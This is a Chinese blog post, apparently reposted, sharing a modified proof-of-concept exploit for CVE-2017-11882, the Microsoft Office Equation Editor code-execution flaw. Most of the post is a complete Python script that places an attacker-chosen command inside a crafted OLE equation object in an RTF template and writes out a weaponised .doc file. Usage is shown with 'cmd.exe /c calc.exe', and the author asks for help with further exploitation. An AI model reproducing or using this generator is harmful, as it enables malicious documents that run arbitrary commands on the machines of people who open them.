标签：lex shp 命令 hex data ges rect level rtl
最近这段时间CVE-2017-11882挺火的。关于这个漏洞可以看看这里:https://www.77169.com/html/186186.html
今天在twitter上看到有人共享了一个POC，https://twitter.com/gossithedog/status/932694287480913920，http://owned.lab6.com/%7Egossi/research/public/cve-2017-11882/，后来又看到有人共享了一个项目https://github.com/embedi/CVE-2017-11882，简单看了一下这个项目，通过对rtf文件的修改来实现命令执行的目的，但是有个缺陷就是，这个项目使用的是使用webdav的方式来执行远程文件的，使用起来可能并不容易，所以就对此文件进行了简单的修改，具体项目地址如下：
POC地址：https://github.com/Ridter/CVE-2017-11882/
POC源码如下：
1 import argparse 2 import sys 3 4 5 RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 6 {\*\generator Riched20 6.3.9600}\viewkind4\uc1 7 \pard\sa200\sl276\slmult1\f0\fs22\lang9""" 8 9 10 RTF_TRAILER = R"""\par} 11 """ 12 13 14 OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ 15 16 17 OBJECT_TRAILER = R""" 18 }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} 19 {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} 20 {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} 21 {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 22 \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 23 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} 24 """ 25 26 27 OBJDATA_TEMPLATE = R""" 28 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 29 b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 30 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff 31 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 32 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 33 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 34 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 35 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 36 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 37 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 38 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 39 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 40 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 41 fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe 42 fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 43 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 44 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 45 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 46 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 47 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 48 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 49 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 50 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 51 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 52 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 53 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 54 ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000 55 00000000000000000000000000000000000000000000000000000000000000000000000000000000 56 00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000 57 000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000 58 00000000000000000000000000000000000000000000000000000000000000000000000000000000 59 00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000 60 0000000000000000000000000000000000000000000000000000001400000000000000010043006f 61 006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000 62 00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000 63 00000000000000000000000000000000000000000000000000000000000000010000006600000000 64 00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000 65 00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff 66 ffffff00000000000000000000000000000000000000000000000000000000000000000000000003 67 0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe 68 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 69 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 70 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 71 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 72 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 73 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 74 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 75 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 76 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 77 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 78 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 79 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 80 ffffff01000002080000000000000000000000000000000000000000000000000000000000000000 81 0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02 82 ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e 83 30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000 84 00000000000000000000000000000000000000000000000000000000000000000000000000030004 85 00000000000000000000000000000000000000000000000000000000000000000000000000000000 86 000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4 87 ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141 88 414141414141414141414141414141414141414141120c4300000000000000000000000000000000 89 00000000000000000000000000000000000000000000000000000000000000000000000000000000 90 00000000000000000000000000000000000000000000000000000000000000000000000000000000 91 00000000000000000000000000000000000000000000000000000000000000000000000000000000 92 00000000000000000000000000000000000000000000000000000000000000000000004500710075 93 006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000 94 0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000 95 0000000000000000000000000000000000000000000000000000000000000004000000c500000000 96 00000000000000000000000000000000000000000000000000000000000000000000000000000000 97 00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff 98 ffffff00000000000000000000000000000000000000000000000000000000000000000000000000 99 00000000000000000000000000000000000000000000000000000000000000000000000000000000 100 000000000000000000000000000000000000000000000000000000000000000000000000000000ff 101 ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000 102 00000000000000000000000000000000000000000000000000000000000000000000000000000000 103 00000000000000000000000000000000000000000000000000000000000000000000000000000000 104 00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 105 00000000000000000000000000000000000000000000000000000001050000050000000d0000004d 106 45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500 107 000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00 108 050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00 109 ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468 110 54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65 111 7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001 112 90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131 113 0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131 114 31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000 115 0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff 116 7cef1800040000002d01010004000000f0010000030000000000 117 """ 118 119 120 COMMAND_OFFSET = 0x949*2 121 122 123 def create_ole_exec_primitive(command): 124 if len(command) > 43: 125 print "[!] Primitive command must be shorter than 43 bytes" 126 sys.exit(0) 127 hex_command = command.encode("hex") 128 objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n") 129 ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):] 130 return OBJECT_HEADER + ole_data + OBJECT_TRAILER 131 132 133 134 def create_rtf(header,command,trailer): 135 ole1 = create_ole_exec_primitive(command + " &") 136 137 # We need 2 or more commands for executing remote file from WebDAV 138 # because WebClient service start may take some time 139 return header + ole1 + trailer 140 141 142 143 if __name__ == ‘__main__‘: 144 parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882") 145 parser.add_argument("-c", "--command", help="Command to execute.", required=True) 146 parser.add_argument(‘-o‘, "--output", help="Output exploit rtf", required=True) 147 148 args = parser.parse_args() 149 150 rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER) 151 152 output_file = open(args.output, "w") 153 output_file.write(rtf_content) 154 155 print "[*] Done ! output file --> " + args.output
使用方式很简单，如果要执行命令：
python python.py -c "cmd.exe /c calc.exe" -o 1.doc，则：
那么相应地生成了1.doc文件：当我打开1.doc的时候 会提示如下信息：
点击允许之后：
就会自动调用计算器，关于进一步的漏洞利用，还需要各位大佬指点，非常感谢！！！
Office--CVE-2017-11882【远程代码执行】
标签：lex shp 命令 hex data ges rect level rtl
原文地址：http://www.cnblogs.com/wjvzbr/p/7881501.html
